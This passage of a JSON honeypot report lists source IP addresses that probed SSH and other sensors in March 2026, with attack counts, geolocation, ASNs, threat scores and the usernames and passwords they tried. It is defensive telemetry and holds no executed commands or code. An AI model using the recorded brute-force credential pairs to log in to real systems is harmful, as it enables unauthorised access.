        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "101.126.143.178": {
      "attack_count": 10,
      "first_seen": "2026-03-18T15:33:24.330Z",
      "last_seen": "2026-03-18T15:51:24.897Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "stefan"
      ],
      "passwords_attempted": [
        "Stefan123",
        "aezakmi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:33:24.330000+00:00",
        "last_seen_30d": "2026-03-18T15:52:35.294000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "182.43.76.120": {
      "attack_count": 10,
      "first_seen": "2026-03-23T20:31:27.889Z",
      "last_seen": "2026-03-23T20:38:03.170Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "openvpn",
        "ts3bot"
      ],
      "passwords_attempted": [
        "123",
        "1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T20:31:27.889000+00:00",
        "last_seen_30d": "2026-03-23T20:39:52.413000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.78.250.122": {
      "attack_count": 10,
      "first_seen": "2026-03-09T07:51:45.167Z",
      "last_seen": "2026-03-09T07:51:50.929Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:51:45.167000+00:00",
        "last_seen_30d": "2026-03-09T07:53:01.083000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "124.207.135.77": {
      "attack_count": 6,
      "first_seen": "2026-03-10T23:41:05.578Z",
      "last_seen": "2026-03-10T23:41:17.565Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:41:05.578000+00:00",
        "last_seen_30d": "2026-03-10T23:42:25.487000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "172.245.106.196": {
      "attack_count": 5,
      "first_seen": "2026-03-22T15:23:14.811Z",
      "last_seen": "2026-03-22T15:23:18.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T15:05:27.901000+00:00",
        "last_seen_30d": "2026-03-22T15:24:20.585000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "172.94.9.62": {
      "attack_count": 5,
      "first_seen": "2026-03-06T00:39:43.082Z",
      "last_seen": "2026-03-06T00:39:45.474Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123.kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:14:15.929000+00:00",
        "last_seen_30d": "2026-03-06T00:40:49.888000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "77.90.185.80": {
      "attack_count": 5,
      "first_seen": "2026-03-05T23:27:26.967Z",
      "last_seen": "2026-03-05T23:27:29.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!1kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T12:16:45.007000+00:00",
        "last_seen_30d": "2026-03-05T23:28:39.261000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "119.148.49.81": {
      "attack_count": 4,
      "first_seen": "2026-03-02T02:06:13.313Z",
      "last_seen": "2026-03-05T02:12:55.650Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 23923,
      "as_org": "Agni Systems Limited",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:06:13.313000+00:00",
        "last_seen_30d": "2026-03-05T02:14:02.160000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "147.185.132.30": {
      "attack_count": 4,
      "first_seen": "2026-03-15T04:41:19.463Z",
      "last_seen": "2026-03-15T04:41:22.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T01:36:48.685000+00:00",
        "last_seen_30d": "2026-03-31T02:00:20.487000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 23,
        "Mailoney": 5,
        "Cowrie": 4,
        "Dicompot": 1
      }
    },
    "170.64.175.58": {
      "attack_count": 4,
      "first_seen": "2026-03-16T09:16:38.032Z",
      "last_seen": "2026-03-16T17:33:50.022Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T09:16:38.032000+00:00",
        "last_seen_30d": "2026-03-16T17:34:52.983000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "189.78.185.35": {
      "attack_count": 4,
      "first_seen": "2026-03-07T18:09:46.594Z",
      "last_seen": "2026-03-07T18:09:47.043Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T18:09:46.594000+00:00",
        "last_seen_30d": "2026-03-07T18:10:49.211000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.44": {
      "attack_count": 4,
      "first_seen": "2026-03-28T22:58:54.918Z",
      "last_seen": "2026-03-28T22:58:57.519Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 74.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 26,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T06:02:47+00:00",
        "last_seen_30d": "2026-03-28T23:00:02.051000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 33,
        "Adbhoney": 4,
        "Cowrie": 4
      }
    },
    "20.163.15.34": {
      "attack_count": 4,
      "first_seen": "2026-03-20T02:15:30.730Z",
      "last_seen": "2026-03-20T02:15:41.170Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 14.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 17,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T02:02:23.442000+00:00",
        "last_seen_30d": "2026-03-21T04:21:02.375000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "218.78.59.30": {
      "attack_count": 4,
      "first_seen": "2026-03-30T04:31:58.857Z",
      "last_seen": "2026-03-30T04:32:06.522Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T04:31:58.857000+00:00",
        "last_seen_30d": "2026-03-30T04:33:09.801000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "61.76.136.25": {
      "attack_count": 4,
      "first_seen": "2026-03-21T03:53:22.820Z",
      "last_seen": "2026-03-21T03:53:40.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:53:22.820000+00:00",
        "last_seen_30d": "2026-03-29T11:51:26.547000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "91.230.168.64": {
      "attack_count": 4,
      "first_seen": "2026-03-17T21:12:12.363Z",
      "last_seen": "2026-03-17T21:12:13.584Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 30,
        "ports_targeted_30d": 59,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T11:53:36+00:00",
        "last_seen_30d": "2026-03-31T17:30:11.992000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 60,
        "Cowrie": 4,
        "ConPot": 3
      }
    },
    "83.168.68.72": {
      "attack_count": 3,
      "first_seen": "2026-03-04T16:39:40.903Z",
      "last_seen": "2026-03-04T16:40:41.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Wroclaw",
      "asn": 202520,
      "as_org": "SkyPass Solutions Sp. z.o.o.",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:28:07.058000+00:00",
        "last_seen_30d": "2026-03-04T16:41:49.360000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "102.213.207.111": {
      "attack_count": 2,
      "first_seen": "2026-03-22T14:52:03.168Z",
      "last_seen": "2026-03-22T14:52:19.347Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Cabo Verde",
      "country_code": "CV",
      "city": "Praia",
      "asn": 37517,
      "as_org": "CVTS1",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T14:52:03.168000+00:00",
        "last_seen_30d": "2026-03-22T14:53:28.169000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.205.192.214": {
      "attack_count": 2,
      "first_seen": "2026-03-03T08:13:45.987Z",
      "last_seen": "2026-03-03T08:13:58.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kego",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:13:45.987000+00:00",
        "last_seen_30d": "2026-03-03T08:15:06.169000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "142.171.103.134": {
      "attack_count": 2,
      "first_seen": "2026-03-15T21:34:38.842Z",
      "last_seen": "2026-03-15T21:35:09.304Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:34:38.842000+00:00",
        "last_seen_30d": "2026-03-15T21:36:15.356000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "142.93.233.137": {
      "attack_count": 2,
      "first_seen": "2026-03-02T22:59:47.474Z",
      "last_seen": "2026-03-02T22:59:47.771Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:59:47.474000+00:00",
        "last_seen_30d": "2026-03-02T23:00:53.617000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "147.185.132.91": {
      "attack_count": 2,
      "first_seen": "2026-03-29T17:02:41.897Z",
      "last_seen": "2026-03-29T17:03:12.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T01:36:12+00:00",
        "last_seen_30d": "2026-03-31T04:27:50.859000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 26,
        "Cowrie": 2
      }
    },
    "150.116.204.225": {
      "attack_count": 2,
      "first_seen": "2026-03-28T03:06:25.212Z",
      "last_seen": "2026-03-28T03:06:59.044Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 131627,
      "as_org": "Peicity Digital Cable Television., LTD",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T03:06:25.212000+00:00",
        "last_seen_30d": "2026-03-28T03:08:08.594000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "151.64.228.179": {
      "attack_count": 2,
      "first_seen": "2026-03-12T12:33:51.702Z",
      "last_seen": "2026-03-12T12:34:05.634Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T12:33:51.702000+00:00",
        "last_seen_30d": "2026-03-12T12:35:13.491000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.172.106.60": {
      "attack_count": 2,
      "first_seen": "2026-03-09T01:59:00.890Z",
      "last_seen": "2026-03-09T01:59:00.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 5,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-08T12:26:01+00:00",
        "last_seen_30d": "2026-03-12T21:25:48.305000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 126,
        "Honeytrap": 39,
        "Cowrie": 2,
        "Dionaea": 2,
        "Mailoney": 2,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "180.54.65.90": {
      "attack_count": 2,
      "first_seen": "2026-03-19T14:37:57.935Z",
      "last_seen": "2026-03-19T14:38:12.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kyoto",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T14:37:57.935000+00:00",
        "last_seen_30d": "2026-03-19T14:39:16.850000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.249.31.247": {
      "attack_count": 2,
      "first_seen": "2026-03-11T07:58:35.373Z",
      "last_seen": "2026-03-11T07:58:52.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santa Gertrudes",
      "asn": 262463,
      "as_org": "TELECOM CORDEIROPOLIS LTDA - ME",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T07:58:35.373000+00:00",
        "last_seen_30d": "2026-03-11T07:59:56.287000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.149": {
      "attack_count": 2,
      "first_seen": "2026-03-24T15:30:00.740Z",
      "last_seen": "2026-03-24T15:30:31.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
